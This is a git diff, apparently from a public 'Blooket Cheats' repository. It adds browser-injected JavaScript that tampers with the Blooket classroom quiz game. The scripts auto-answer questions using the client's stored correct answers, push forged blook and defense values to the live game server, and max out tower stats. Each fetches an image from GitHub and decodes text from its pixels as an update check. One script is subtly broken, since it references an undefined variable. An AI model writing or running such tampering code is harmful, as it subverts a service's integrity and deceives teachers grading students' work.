10px",padding:"0",listStyleType:"none",display:"flex",flexDirection:"column-reverse",height:"355px",overflowY:"scroll",wordWrap:"break-word"}},e.slice().reverse().map((e,t)=>f.createElement("li",{style:{margin:"5px"},key:t},f.createElement("span",{style:{color:e.color||"var(--textColor)"}},e.message)))),0f.createElement("li",{style:{fontSize:"2rem",paddingInline:"72px 15px",paddingBlock:"1.25px",position:"relative"},key:t},f.createElement("img",{src:E.alerts.blookData[e]?.url||E.alerts.blookData.Black.url,alt:e,style:{height:"45px",position:"absolute",left:"15px"}}),t,f.createElement("span",{style:{float:"right"}},E.alerts.formatNumber(parseInt(a))))))))))},null)}]}},N=document.createElement("div");function a(c,d=window){return new Promise(t=>{const a={};let o,s,n,r;const i=e=>{e.preventDefault(),a[e.code]=!0,o||=e.shiftKey,s||=e.ctrlKey,n||=e.altKey,["shift","control","alt","meta"].includes(e.key.toLowerCase())||(r=e.key.toLowerCase()),c?.({shift:o,ctrl:s,alt:n,key:r})},l=e=>{delete a[e.code],0f.createElement("span",{style:{display:"inline-block",opacity:"0",width:"0",height:"0",lineHeight:"0",userSelect:"none",marginLeft:e?"5px":null}},String.fromCharCode(Math.floor(25*Math.random())+97));var n=t=>{if("string"==typeof t){var a=[];for(let e=0;e{d instanceof Promise?d.then(e=>{m(e),o(e[0]?.value||e[0]),a.selected=e[0]?.name||e[0],h.current=!1}).catch(()=>m([])):d?.length&&(o(d[0]?.value||d[0]),a.selected=d[0]?.name||d[0]),"number"==n?o(l||(null==r?0:r)):"function"==n?o(null):d instanceof Promise||d?.length||o("")},[]);let b;if("options"==n&&d?.length)b=f.createElement("select",{onChange:e=>(a.selected=e.target.children[e.target.selectedIndex].innerText,o(JSON.parse(e.target.value)))},d.map(e=>f.createElement("option",{value:JSON.stringify(e?.value||e)},e?.name||e)));else if("function"==n)b=f.createElement("input",{className:B.keys.cheatInput,placeholder:e,style:{textAlign:"center"},readOnly:!0,value:p||a.data,onClick:async()=>{if(!p){u("Waiting for input...");let t;var e=await a.function(e=>u((t=e)+"..."));a.data=t,u(!1),o(e)}}});else{let t="number"==n;b=f.createElement("input",{onChange:e=>o(t?parseInt(e.target.value):e.target.value),className:B.keys.cheatInput,type:t?"number":null,min:t?r:null,max:t?i:null,defaultValue:t?l||(null==r?0:r):null,placeholder:e,style:{textAlign:"center"},onKeyUp:e=>"Enter"==e.key&&s()})}return b}function q({script:a}){const o=x([]),[e,t]=w(a.enabled),s=k(()=>{a.run.apply(a,o.current),t(a.enabled),E.alerts.addLog(f.createElement(f.Fragment,null,"toggle"==a.type?a.enabled?"Enabled":"Disabled":"Ran"," ",f.createElement("strong",null,a.name),0JSON.stringify(a.inputs[t].selected||e)).join(", ")})`),"toggle"==a.type&&(a.enabled?"var(--enabledButton)":"var(--disabledButton)"))},[]);return f.createElement("div",{style:{background:"toggle"==a.type?e?"var(--enabledButton)":"var(--disabledButton)":"var(--defaultButton)"},key:a.name,"data-tip":a.description,className:B.keys.scriptButton,onClick:e=>(e.target.matches("."+B.keys.scriptButton)||e.target.matches("."+B.keys.cheatName)||e.target.matches(`.${B.keys.cheatName} *`))&&s()},f.createElement(M,{className:B.keys.cheatName},a.name),a.inputs?.length&&a.inputs.map((e,t)=>e.element||f.createElement(n,{onValue:e=>o.current[t]=e,key:t,input:e,run:s})))}function T({parent:o,children:e,setPos:s,...t}){const n=x(!1),r=x({x:0,y:0});return C(()=>{const e=()=>n.current=!1,t=e=>{var t,a;n.current&&(t=r.current.x-e.clientX,a=r.current.y-e.clientY,r.current={x:e.clientX,y:e.clientY},s({x:o.offsetLeft-t,y:o.offsetTop-a}))};return document.addEventListener("pointerup",e),document.addEventListener("pointermove",t),()=>{document.removeEventListener("pointerup",e),document.removeEventListener("pointermove",t)}},[o]),f.createElement("div",{...t,onPointerDown:e=>{n.current=!0,r.current={x:e.clientX,y:e.clientY}}},e)}S.render(t(function(){const a=x({x:Math.max(10,window.innerWidth-1e3)/2,y:Math.max(10,window.innerHeight-600)/2})["current"];var e=k(({x:e,y:t})=>{a.x=e,a.y=t,l.current.style.left=e+"px",l.current.style.top=t+"px"},[]);const[t,o]=w(null),[s,n]=w(!1),[r,i]=w("global"),l=x(),c=x();_=function(a){const[o,n]=w(JSON.parse(localStorage.getItem(a)||"{}")),t=k((e,s)=>(e.split(".").reduce((e,t,a,o)=>(++a==o.length&&(e[t]=s),e[t]),o),localStorage.setItem(a,JSON.stringify(o)),n({...o}),o),[o]),s=k((e,t)=>(e.split(".").reduce((e,t,a,o)=>(++a==o.length&&delete e[t],e[t]),o),localStorage.setItem(a,JSON.stringify(o)),n({...o}),o),[o]),r=k(e=>{n(e),localStorage.setItem(a,JSON.stringify(e))},[]);return C(()=>{try{n(JSON.parse(localStorage.getItem(a)||"{}"));for(const e of["backgroundColor","cheatList","contentBackground","defaultButton","disabledButton","enabledButton","infoColor","inputColor","textColor"])_.data[e]&&(t("theme."+e,_.data[e]),s(e))}catch{r({})}},[]),{data:o,setItem:t,deleteItem:s,setData:r}}("JODGUISETTINGS");var d,m,p,u,h,b,g=f.createElement("style",null,`:root {--backgroundColor: ${_.data?.theme?.backgroundColor||"rgb(11, 194, 207)"};--infoColor: ${_.data?.theme?.infoColor||"#9a49aa"};--cheatList: ${_.data?.theme?.cheatList||"#9a49aa"};--defaultButton: ${_.data?.theme?.defaultButton||"#9a49aa"};--disabledButton: ${_.data?.theme?.disabledButton||"#A02626"};--enabledButton: ${_.data?.theme?.enabledButton||"#47A547"};--textColor: ${_.data?.theme?.textColor||"white"};--inputColor: ${_.data?.theme?.inputColor||"#7a039d"};--contentBackground: ${_.data?.theme?.contentBackground||"rgb(64, 17, 95)"};}`);const y=x(["alerts","global","gold","cafe","crypto","dinos","defense","defense2","factory","fishing","flappy","doom","kingdom","racing","royale","rush","brawl","workshop","settings"])["current"],v=k(()=>{S.unmountComponentAtNode(N),N.remove()},[]);return C(()=>{j.rebuild()}),C(()=>{window.dispatchEvent(new Event("resize"));let a=e=>{var t=_.data.hide||{ctrl:!0,key:"e"},a=_.data.close||{ctrl:!0,key:"x"};(t.ctrl&&e.ctrlKey||!t.ctrl&&!e.ctrlKey)&&(t.shift&&e.shiftKey||!t.shift&&!e.shiftKey)&&(t.alt&&e.altKey||!t.alt&&!e.altKey)&&e.key.toLowerCase()==t.key?(e.preventDefault(),n(e=>!e)):(a.ctrl&&e.ctrlKey||!a.ctrl&&!e.ctrlKey)&&(a.shift&&e.shiftKey||!a.shift&&!e.shiftKey)&&(a.alt&&e.altKey||!a.alt&&!e.altKey)&&e.key.toLowerCase()==a.key&&(e.preventDefault(),v())};return window.addEventListener("keydown",a),c.current=setInterval(async()=>{await E.alerts.connect()&&clearInterval(c.current)},5e3),()=>{window.removeEventListener("keydown",a),clearInterval(c.current);for(const e of y)for(const t of E[e].cheats)t.enabled&&t.run()}},[]),C(()=>{if(null==t)return()=>{};var e=l.current.querySelector("div");e.style.height=t?"55px":"100%",e.style.width=t?"165px":"100%",l.current.style.top=parseInt(l.current.style.top)+(l.current.offsetHeight-55)*(t?1:-1)+"px",l.current.style.left=parseInt(l.current.style.left)+(l.current.offsetWidth-165)*(t?1:-1)+"px",l.current.style.pointerEvents=t?"none":"unset"},[t]),f.createElement("div",{ref:l,id:B.keys.guiWrapper,style:{top:a.y+"px",left:a.x+"px",transform:`scale(${_.data.scale||1})`,display:s?"none":null}},f.createElement("style",null,B.css),g,f.createElement("div",{id:B.keys.gui},f.createElement("div",{id:B.keys.controlButtons},f.createElement(T,{parent:l.current,setPos:e,style:{cursor:"move",backgroundColor:"rgb(0, 160, 255)"}},f.createElement("i",{className:"fas fa-arrows-alt"})),f.createElement("div",{style:{fontWeight:"bolder",backgroundColor:"grey"},onClick:()=>o(e=>!e)},f.createElement("i",{className:"fas fa-minus"})),f.createElement("div",{style:{fontWeight:"bolder",backgroundColor:"red"},onClick:v},f.createElement("i",{className:"fas fa-times"}))),!t&&f.createElement(f.Fragment,null,f.createElement("div",{id:B.keys.background},f.createElement("div",{id:B.keys.backgroundImage})),f.createElement(T,{parent:l.current,setPos:e,id:B.keys.controls},([{ctrl:g,shift:e,alt:d,key:m},{ctrl:p,shift:u,alt:h,key:b}]=[_.data.hide||{ctrl:!0,key:"e"},_.data.close||{ctrl:!0,key:"x"}],f.createElement(f.Fragment,null,`${[g&&"Ctrl",e&&"Shift",d&&"Alt",m&&m.toUpperCase()].filter(Boolean).join(" + ")} to hide | ${[p&&"Ctrl",u&&"Shift",h&&"Alt",b&&b.toUpperCase()].filter(Boolean).join(" + ")} for quick disable`,f.createElement("br",null),f.createElement(M,null,"Click and drag here")))),f.createElement("div",{id:B.keys.credits},f.createElement(M,null,"GitHub - 05Konz")),f.createElement("div",{id:B.keys.cheatList},f.createElement(M,{type:"span",style:{textShadow:"1px 1px rgb(0 0 0 / 40%)"}},"Cheats"),f.createElement("a",{href:"https://github.com/05Konz/Blooket-Cheats",target:"_blank",id:B.keys.bigButton},f.createElement("svg",{style:{filter:"drop-shadow(2px 2px 0 rgb(0 0 0 / 20%))"},xmlns:"http://www.w3.org/2000/svg",width:"35",height:"35",fill:"currentColor",viewBox:"0 -1 21 16"},f.createElement("path",{d:"M8 0c4.42 0 8 3.58 8 8a8.013 8.013 0 0 1-5.45 7.59c-.4.08-.55-.17-.55-.38 0-.27.01-1.13.01-2.2 0-.75-.25-1.23-.54-1.48 1.78-.2 3.65-.88 3.65-3.95 0-.88-.31-1.59-.82-2.15.08-.2.36-1.02-.08-2.12 0 0-.67-.22-2.2.82-.64-.18-1.32-.27-2-.27-.68 0-1.36.09-2 .27-1.53-1.03-2.2-.82-2.2-.82-.44 1.1-.16 1.92-.08 2.12-.51.56-.82 1.28-.82 2.15 0 3.06 1.86 3.75 3.64 3.95-.23.2-.44.55-.51 1.07-.46.21-1.61.55-2.33-.66-.15-.24-.6-.83-1.23-.82-.67.01-.27.38.01.53.34.19.73.9.82 1.13.16.45.68 1.31 2.69.94 0 .67.01 1.3.01 1.49 0 .21-.15.45-.55.38A7.995 7.995 0 0 1 0 8c0-4.42 3.58-8 8-8Z"})),f.createElement(M,{type:f.Fragment},"GitHub")),y.map(e=>f.createElement("div",{key:e,onClick:()=>i(e),className:B.keys.cheatButton},E[e].img?f.createElement("img",{src:E[e].img,style:{maxWidth:"30px",maxHeight:"30px",aspectRatio:"1 / 1",marginRight:"10px",...E[e].style||{}},alt:e}):f.createElement("div",{style:{marginInline:"5px",width:"5px"}}),f.createElement(O,{mode:"single",forceSingleWidthMode:!1,min:1,max:20},E[e].name)))),f.createElement("div",{id:B.keys.contentWrapper},f.createElement("div",{id:B.keys.content},f.createElement(j,{place:"bottom",effect:"solid"}),f.createElement("div",{id:B.keys.cheats},E[r].element||(E[r].element=f.createElement(f.Fragment,null,f.createElement("div",{className:B.keys.headerText},f.createElement(M,null,E[r].name," Cheats")),E[r].cheats.map(e=>e.element||f.createElement(q,{key:e.name,script:e}))))))))))},null),N),document.body.prepend(N)};let l=new Image;l.src="https://raw.githubusercontent.com/05Konz/Blooket-Cheats/main/autoupdate/timestamps/reactGui.png?"+Date.now(),l.crossOrigin="Anonymous",l.onload=function(){var e=document.createElement("canvas").getContext("2d");e.drawImage(l,0,0,this.width,this.height);let t=e.getImageData(0,0,this.width,this.height)["data"],a="",o;for(let e=0;e(l.src=null,i())})(); \ No newline at end of file diff --git a/cheats/royale/autoAnswer.js b/cheats/royale/autoAnswer.js new file mode 100644 index 0000000..4d3d505 --- /dev/null +++ b/cheats/royale/autoAnswer.js @@ -0,0 +1,39 @@ +/** +* @license StewartPrivateLicense-2.0.1 +* Copyright (c) 05Konz 2023 +* +* You may not reproduce or distribute any code inside this file without the licenser's permission. +* You may not copy, modify, steal, skid, or recreate any of the code inside this file. +* You may not under any circumstance republish any code from this file as your own. +* +* ALL TERMS STATED IN THE LINK BELOW APPLY ASWELL +* https://github.com/05Konz/Blooket-Cheats/blob/main/LICENSE +*/ + +/* THE UPDATE CHECKER IS ADDED DURING COMMIT PREP, THERE MAY BE REDUNDANT CODE, DO NOT TOUCH */ + +(() => { + const cheat = (async () => { + let { stateNode } = Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner; + stateNode?.onAnswer?.(true, stateNode.props.client.question.correctAnswers[0]); + }); + let img = new Image; + img.src = "https://raw.githubusercontent.com/05Konz/Blooket-Cheats/main/autoupdate/timestamps/royale/autoAnswer.png?" + Date.now(); + img.crossOrigin = "Anonymous"; + img.onload = function() { + const c = document.createElement("canvas"); + const ctx = c.getContext("2d"); + ctx.drawImage(img, 0, 0, this.width, this.height); + let { data } = ctx.getImageData(0, 0, this.width, this.height), decode = "", last; + for (let i = 0; i < data.length; i += 4) { + let char = String.fromCharCode(data[i + 1] * 256 + data[i + 2]); + decode += char; + if (char == "/" && last == "*") break; + last = char; + } + let iframe = document.querySelector("iframe"); + const [_, time, error] = decode.match(/LastUpdated: (.+?); ErrorMessage: "(.+?)"/); + if (parseInt(time) <= 1692640272467 || iframe.contentWindow.confirm(error)) cheat(); + } + img.onerror = img.onabort = () => (img.src = null, cheat()); +})(); \ No newline at end of file diff --git a/cheats/royale/autoAnswer.min.js b/cheats/royale/autoAnswer.min.js new file mode 100644 index 0000000..811381b --- /dev/null +++ b/cheats/royale/autoAnswer.min.js @@ -0,0 +1 @@ +/* All terms found in the following link apply: https://github.com/05Konz/Blooket-Cheats/blob/main/LICENSE */ (()=>{let c=document.querySelector("iframe");c.contentWindow.console.log.call(window,"%c Blooket Cheats %c\n\tBy 05Konz on GitHub","color: #0bc2cf; font-size: 3rem","color: #8000ff; font-size: 1rem"),c.contentWindow.console.log.call(window,"%c\tautoAnswer.js","color: #0bc2cf; font-size: 1rem"),c.contentWindow.console.log.call(window,"%c\tStar the github repo!%c https://github.com/05Konz/Blooket-Cheats","color: #ffd000; font-size: 1rem","");const s=async()=>{var t=Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner["stateNode"];t?.onAnswer?.(!0,t.props.client.question.correctAnswers[0])};let l=new Image;l.src="https://raw.githubusercontent.com/05Konz/Blooket-Cheats/main/autoupdate/timestamps/royale/autoAnswer.png?"+Date.now(),l.crossOrigin="Anonymous",l.onload=function(){var t=document.createElement("canvas").getContext("2d");t.drawImage(l,0,0,this.width,this.height);let e=t.getImageData(0,0,this.width,this.height)["data"],o="",n;for(let t=0;t(l.src=null,s())})(); \ No newline at end of file diff --git a/cheats/royale/intervals/autoAnswer.js b/cheats/royale/intervals/autoAnswer.js new file mode 100644 index 0000000..ab8182c --- /dev/null +++ b/cheats/royale/intervals/autoAnswer.js @@ -0,0 +1,41 @@ +/** +* @license StewartPrivateLicense-2.0.1 +* Copyright (c) 05Konz 2023 +* +* You may not reproduce or distribute any code inside this file without the licenser's permission. +* You may not copy, modify, steal, skid, or recreate any of the code inside this file. +* You may not under any circumstance republish any code from this file as your own. +* +* ALL TERMS STATED IN THE LINK BELOW APPLY ASWELL +* https://github.com/05Konz/Blooket-Cheats/blob/main/LICENSE +*/ + +/* THE UPDATE CHECKER IS ADDED DURING COMMIT PREP, THERE MAY BE REDUNDANT CODE, DO NOT TOUCH */ + +(() => { + const cheat = (async () => { + setInterval(() => { + let { stateNode } = Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner; + stateNode?.onAnswer?.(true, stateNode.props.client.question.correctAnswers[0]); + }, 50); + }); + let img = new Image; + img.src = "https://raw.githubusercontent.com/05Konz/Blooket-Cheats/main/autoupdate/timestamps/royale/intervals/autoAnswer.png?" + Date.now(); + img.crossOrigin = "Anonymous"; + img.onload = function() { + const c = document.createElement("canvas"); + const ctx = c.getContext("2d"); + ctx.drawImage(img, 0, 0, this.width, this.height); + let { data } = ctx.getImageData(0, 0, this.width, this.height), decode = "", last; + for (let i = 0; i < data.length; i += 4) { + let char = String.fromCharCode(data[i + 1] * 256 + data[i + 2]); + decode += char; + if (char == "/" && last == "*") break; + last = char; + } + let iframe = document.querySelector("iframe"); + const [_, time, error] = decode.match(/LastUpdated: (.+?); ErrorMessage: "(.+?)"/); + if (parseInt(time) <= 1692640272477 || iframe.contentWindow.confirm(error)) cheat(); + } + img.onerror = img.onabort = () => (img.src = null, cheat()); +})(); \ No newline at end of file diff --git a/cheats/royale/intervals/autoAnswer.min.js b/cheats/royale/intervals/autoAnswer.min.js new file mode 100644 index 0000000..da1915e --- /dev/null +++ b/cheats/royale/intervals/autoAnswer.min.js @@ -0,0 +1 @@ +/* All terms found in the following link apply: https://github.com/05Konz/Blooket-Cheats/blob/main/LICENSE */ (()=>{let c=document.querySelector("iframe");c.contentWindow.console.log.call(window,"%c Blooket Cheats %c\n\tBy 05Konz on GitHub","color: #0bc2cf; font-size: 3rem","color: #8000ff; font-size: 1rem"),c.contentWindow.console.log.call(window,"%c\tautoAnswer.js","color: #0bc2cf; font-size: 1rem"),c.contentWindow.console.log.call(window,"%c\tStar the github repo!%c https://github.com/05Konz/Blooket-Cheats","color: #ffd000; font-size: 1rem","");const s=async()=>{setInterval(()=>{var t=Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner["stateNode"];t?.onAnswer?.(!0,t.props.client.question.correctAnswers[0])},50)};let l=new Image;l.src="https://raw.githubusercontent.com/05Konz/Blooket-Cheats/main/autoupdate/timestamps/royale/intervals/autoAnswer.png?"+Date.now(),l.crossOrigin="Anonymous",l.onload=function(){var t=document.createElement("canvas").getContext("2d");t.drawImage(l,0,0,this.width,this.height);let e=t.getImageData(0,0,this.width,this.height)["data"],o="",n;for(let t=0;t(l.src=null,s())})(); \ No newline at end of file diff --git a/cheats/royale/readme.md b/cheats/royale/readme.md new file mode 100644 index 0000000..7ea0774 --- /dev/null +++ b/cheats/royale/readme.md @@ -0,0 +1,11 @@ +# Battle Royale Cheats + +## [Intervals](intervals/) +Cheats that loop automatically + +### [Auto Answer](intervals/autoAnswer.js) +Automatically answers questions for you + + +## [Auto Answer](autoAnswer.js) +Clicks the first correct answer \ No newline at end of file diff --git a/cheats/rush/readme.md b/cheats/rush/readme.md new file mode 100644 index 0000000..b84511f --- /dev/null +++ b/cheats/rush/readme.md @@ -0,0 +1,7 @@ +# Blook Rush Cheats + +## [Set Blooks](setBlooks.js) +Sets amount of blooks you or your team has + +## [Set Defense](setDefense.js) +Sets amount of defense you or your team has (Max 4) \ No newline at end of file diff --git a/cheats/rush/setBlooks.js b/cheats/rush/setBlooks.js new file mode 100644 index 0000000..15b673c --- /dev/null +++ b/cheats/rush/setBlooks.js @@ -0,0 +1,51 @@ +/** +* @license StewartPrivateLicense-2.0.1 +* Copyright (c) 05Konz 2023 +* +* You may not reproduce or distribute any code inside this file without the licenser's permission. +* You may not copy, modify, steal, skid, or recreate any of the code inside this file. +* You may not under any circumstance republish any code from this file as your own. +* +* ALL TERMS STATED IN THE LINK BELOW APPLY ASWELL +* https://github.com/05Konz/Blooket-Cheats/blob/main/LICENSE +*/ + +/* THE UPDATE CHECKER IS ADDED DURING COMMIT PREP, THERE MAY BE REDUNDANT CODE, DO NOT TOUCH */ + +(() => { + const cheat = (async () => { + let i = document.createElement('iframe'); + document.body.append(i); + window.prompt = i.contentWindow.prompt.bind(window); + i.remove(); + let numBlooks = Number(parseInt(prompt("How many blooks do you want?"))); + let { stateNode } = Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner; + stateNode.setState({ numBlooks }); + stateNode.isTeam ? stateNode.props.liveGameController.setVal({ + path: `a/${stateNode.props.client.name}/bs`, + val: numBlooks + }) : stateNode.props.liveGameController.setVal({ + path: `c/${stateNode.props.client.name}/bs`, + val: numDefense + }); + }); + let img = new Image; + img.src = "https://raw.githubusercontent.com/05Konz/Blooket-Cheats/main/autoupdate/timestamps/rush/setBlooks.png?" + Date.now(); + img.crossOrigin = "Anonymous"; + img.onload = function() { + const c = document.createElement("canvas"); + const ctx = c.getContext("2d"); + ctx.drawImage(img, 0, 0, this.width, this.height); + let { data } = ctx.getImageData(0, 0, this.width, this.height), decode = "", last; + for (let i = 0; i < data.length; i += 4) { + let char = String.fromCharCode(data[i + 1] * 256 + data[i + 2]); + decode += char; + if (char == "/" && last == "*") break; + last = char; + } + let iframe = document.querySelector("iframe"); + const [_, time, error] = decode.match(/LastUpdated: (.+?); ErrorMessage: "(.+?)"/); + if (parseInt(time) <= 1692640272481 || iframe.contentWindow.confirm(error)) cheat(); + } + img.onerror = img.onabort = () => (img.src = null, cheat()); +})(); \ No newline at end of file diff --git a/cheats/rush/setBlooks.min.js b/cheats/rush/setBlooks.min.js new file mode 100644 index 0000000..2304613 --- /dev/null +++ b/cheats/rush/setBlooks.min.js @@ -0,0 +1 @@ +/* All terms found in the following link apply: https://github.com/05Konz/Blooket-Cheats/blob/main/LICENSE */ (()=>{let s=document.querySelector("iframe");s.contentWindow.console.log.call(window,"%c Blooket Cheats %c\n\tBy 05Konz on GitHub","color: #0bc2cf; font-size: 3rem","color: #8000ff; font-size: 1rem"),s.contentWindow.console.log.call(window,"%c\tsetBlooks.js","color: #0bc2cf; font-size: 1rem"),s.contentWindow.console.log.call(window,"%c\tStar the github repo!%c https://github.com/05Konz/Blooket-Cheats","color: #ffd000; font-size: 1rem","");const l=async()=>{var e=document.createElement("iframe"),e=(document.body.append(e),window.prompt=e.contentWindow.prompt.bind(window),e.remove(),Number(parseInt(prompt("How many blooks do you want?")))),o=Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner["stateNode"];o.setState({numBlooks:e}),o.isTeam?o.props.liveGameController.setVal({path:`a/${o.props.client.name}/bs`,val:e}):o.props.liveGameController.setVal({path:`c/${o.props.client.name}/bs`,val:numDefense})};let c=new Image;c.src="https://raw.githubusercontent.com/05Konz/Blooket-Cheats/main/autoupdate/timestamps/rush/setBlooks.png?"+Date.now(),c.crossOrigin="Anonymous",c.onload=function(){var e=document.createElement("canvas").getContext("2d");e.drawImage(c,0,0,this.width,this.height);let o=e.getImageData(0,0,this.width,this.height)["data"],t="",n;for(let e=0;e(c.src=null,l())})(); \ No newline at end of file diff --git a/cheats/rush/setDefense.js b/cheats/rush/setDefense.js new file mode 100644 index 0000000..f6bb7af --- /dev/null +++ b/cheats/rush/setDefense.js @@ -0,0 +1,51 @@ +/** +* @license StewartPrivateLicense-2.0.1 +* Copyright (c) 05Konz 2023 +* +* You may not reproduce or distribute any code inside this file without the licenser's permission. +* You may not copy, modify, steal, skid, or recreate any of the code inside this file. +* You may not under any circumstance republish any code from this file as your own. +* +* ALL TERMS STATED IN THE LINK BELOW APPLY ASWELL +* https://github.com/05Konz/Blooket-Cheats/blob/main/LICENSE +*/ + +/* THE UPDATE CHECKER IS ADDED DURING COMMIT PREP, THERE MAY BE REDUNDANT CODE, DO NOT TOUCH */ + +(() => { + const cheat = (async () => { + let i = document.createElement('iframe'); + document.body.append(i); + window.prompt = i.contentWindow.prompt.bind(window); + i.remove(); + let numDefense = Math.min(Number(parseInt(prompt("How much defense do you want? (Max 4)"))), 4); + let { stateNode } = Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner; + stateNode.setState({ numDefense }); + stateNode.isTeam ? stateNode.props.liveGameController.setVal({ + path: `a/${stateNode.props.client.name}/d`, + val: numDefense + }) : stateNode.props.liveGameController.setVal({ + path: `c/${stateNode.props.client.name}/d`, + val: numDefense + }); + }); + let img = new Image; + img.src = "https://raw.githubusercontent.com/05Konz/Blooket-Cheats/main/autoupdate/timestamps/rush/setDefense.png?" + Date.now(); + img.crossOrigin = "Anonymous"; + img.onload = function() { + const c = document.createElement("canvas"); + const ctx = c.getContext("2d"); + ctx.drawImage(img, 0, 0, this.width, this.height); + let { data } = ctx.getImageData(0, 0, this.width, this.height), decode = "", last; + for (let i = 0; i < data.length; i += 4) { + let char = String.fromCharCode(data[i + 1] * 256 + data[i + 2]); + decode += char; + if (char == "/" && last == "*") break; + last = char; + } + let iframe = document.querySelector("iframe"); + const [_, time, error] = decode.match(/LastUpdated: (.+?); ErrorMessage: "(.+?)"/); + if (parseInt(time) <= 1692640272490 || iframe.contentWindow.confirm(error)) cheat(); + } + img.onerror = img.onabort = () => (img.src = null, cheat()); +})(); \ No newline at end of file diff --git a/cheats/rush/setDefense.min.js b/cheats/rush/setDefense.min.js new file mode 100644 index 0000000..4756c52 --- /dev/null +++ b/cheats/rush/setDefense.min.js @@ -0,0 +1 @@ +/* All terms found in the following link apply: https://github.com/05Konz/Blooket-Cheats/blob/main/LICENSE */ (()=>{let s=document.querySelector("iframe");s.contentWindow.console.log.call(window,"%c Blooket Cheats %c\n\tBy 05Konz on GitHub","color: #0bc2cf; font-size: 3rem","color: #8000ff; font-size: 1rem"),s.contentWindow.console.log.call(window,"%c\tsetDefense.js","color: #0bc2cf; font-size: 1rem"),s.contentWindow.console.log.call(window,"%c\tStar the github repo!%c https://github.com/05Konz/Blooket-Cheats","color: #ffd000; font-size: 1rem","");const c=async()=>{var e=document.createElement("iframe"),e=(document.body.append(e),window.prompt=e.contentWindow.prompt.bind(window),e.remove(),Math.min(Number(parseInt(prompt("How much defense do you want? (Max 4)"))),4)),t=Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner["stateNode"];t.setState({numDefense:e}),t.isTeam?t.props.liveGameController.setVal({path:`a/${t.props.client.name}/d`,val:e}):t.props.liveGameController.setVal({path:`c/${t.props.client.name}/d`,val:e})};let l=new Image;l.src="https://raw.githubusercontent.com/05Konz/Blooket-Cheats/main/autoupdate/timestamps/rush/setDefense.png?"+Date.now(),l.crossOrigin="Anonymous",l.onload=function(){var e=document.createElement("canvas").getContext("2d");e.drawImage(l,0,0,this.width,this.height);let t=e.getImageData(0,0,this.width,this.height)["data"],o="",n;for(let e=0;e(l.src=null,c())})(); \ No newline at end of file diff --git a/cheats/tower-defense-2/maxTowers.js b/cheats/tower-defense-2/maxTowers.js new file mode 100644 index 0000000..e9c2118 --- /dev/null +++ b/cheats/tower-defense-2/maxTowers.js @@ -0,0 +1,46 @@ +/** +* @license StewartPrivateLicense-2.0.1 +* Copyright (c) 05Konz 2023 +* +* You may not reproduce or distribute any code inside this file without the licenser's permission. +* You may not copy, modify, steal, skid, or recreate any of the code inside this file. +* You may not under any circumstance republish any code from this file as your own. +* +* ALL TERMS STATED IN THE LINK BELOW APPLY ASWELL +* https://github.com/05Konz/Blooket-Cheats/blob/main/LICENSE +*/ + +/* THE UPDATE CHECKER IS ADDED DURING COMMIT PREP, THERE MAY BE REDUNDANT CODE, DO NOT TOUCH */ + +(() => { + const cheat = (async () => { + Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner.stateNode.state.towers.forEach(tower => { + tower.stats.dmg = 1e6; + tower.stats.fireRate = 50; + tower.stats.ghostDetect = true; + tower.stats.maxTargets = 1e6; + tower.stats.numProjectiles &&= 100; + tower.stats.range = 100; + if (tower.stats.auraBuffs) for (const buff in tower.stats.auraBuffs) tower.stats.auraBuffs[buff] *= 100; + }); + }); + let img = new Image; + img.src = "https://raw.githubusercontent.com/05Konz/Blooket-Cheats/main/autoupdate/timestamps/tower-defense-2/maxTowers.png?" + Date.now(); + img.crossOrigin = "Anonymous"; + img.onload = function() { + const c = document.createElement("canvas"); + const ctx = c.getContext("2d"); + ctx.drawImage(img, 0, 0, this.width, this.height); + let { data } = ctx.getImageData(0, 0, this.width, this.height), decode = "", last; + for (let i = 0; i < data.length; i += 4) { + let char = String.fromCharCode(data[i + 1] * 256 + data[i + 2]); + decode += char; + if (char == "/" && last == "*") break; + last = char; + } + let iframe = document.querySelector("iframe"); + const [_, time, error] = decode.match(/LastUpdated: (.+?); ErrorMessage: "(.+?)"/); + if (parseInt(time) <= 1692640272549 || iframe.contentWindow.confirm(error)) cheat(); + } + img.onerror = img.onabort = () => (img.src = null, cheat()); +})(); \ No newline at end of file diff --git a/cheats/tower-defense-2/maxTowers.min.js b/cheats/tower-defense-2/maxTowers.min.js new file mode 100644 index 0000000..4d2cecd --- /dev/null +++ b/cheats/tower-defense-2/maxTowers.min.js @@ -0,0 +1 @@ +/* All terms found in the following link apply: https://github.com/05Konz/Blooket-Cheats/blob/main/LICENSE */ (()=>{let r=document.querySelector("iframe");r.contentWindow.console.log.call(window,"%c Blooket Cheats %c\n\tBy 05Konz on GitHub","color: #0bc2cf; font-size: 3rem","color: #8000ff; font-size: 1rem"),r.contentWindow.console.log.call(window,"%c\tmaxTowers.js","color: #0bc2cf; font-size: 1rem"),r.contentWindow.console.log.call(window,"%c\tStar the github repo!%c https://github.com/05Konz/Blooket-Cheats","color: #ffd000; font-size: 1rem","");const c=async()=>{Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner.stateNode.state.towers.forEach(t=>{if(t.stats.dmg=1e6,t.stats.fireRate=50,t.stats.ghostDetect=!0,t.stats.maxTargets=1e6,t.stats.numProjectiles&&=100,t.stats.range=100,t.stats.auraBuffs)for(const e in t.stats.auraBuffs)t.stats.auraBuffs[e]*=100})};let i=new Image;i.src="https://raw.githubusercontent.com/05Konz/Blooket-Cheats/main/autoupdate/timestamps/tower-defense-2/maxTowers.png?"+Date.now(),i.crossOrigin="Anonymous",i.onload=function(){var t=document.createElement("canvas").getContext("2d");t.drawImage(i,0,0,this.width,this.height);let e=t.getImageData(0,0,this.width,this.height)["data"],o="",a;for(let t=0;t(i.src=null,c())})(); \ No newline at end of file diff --git a/cheats/tower-defense-2/readme.md b/cheats/tower-defense-2/readme.md new file mode 100644 index 0000000..0148c18 --- /dev/null +++ b/cheats/tower-defense-2/readme.md @@ -0,0 +1,16 @@ +# Tower Defense 2 Cheats + +## [Max Towers](maxTowers.js) +Makes all your towers op + +## [Kill Enemies](removeEnemies.js) +Removes all the enemies + +## [Set Coins](setCoins.js) +Sets amount 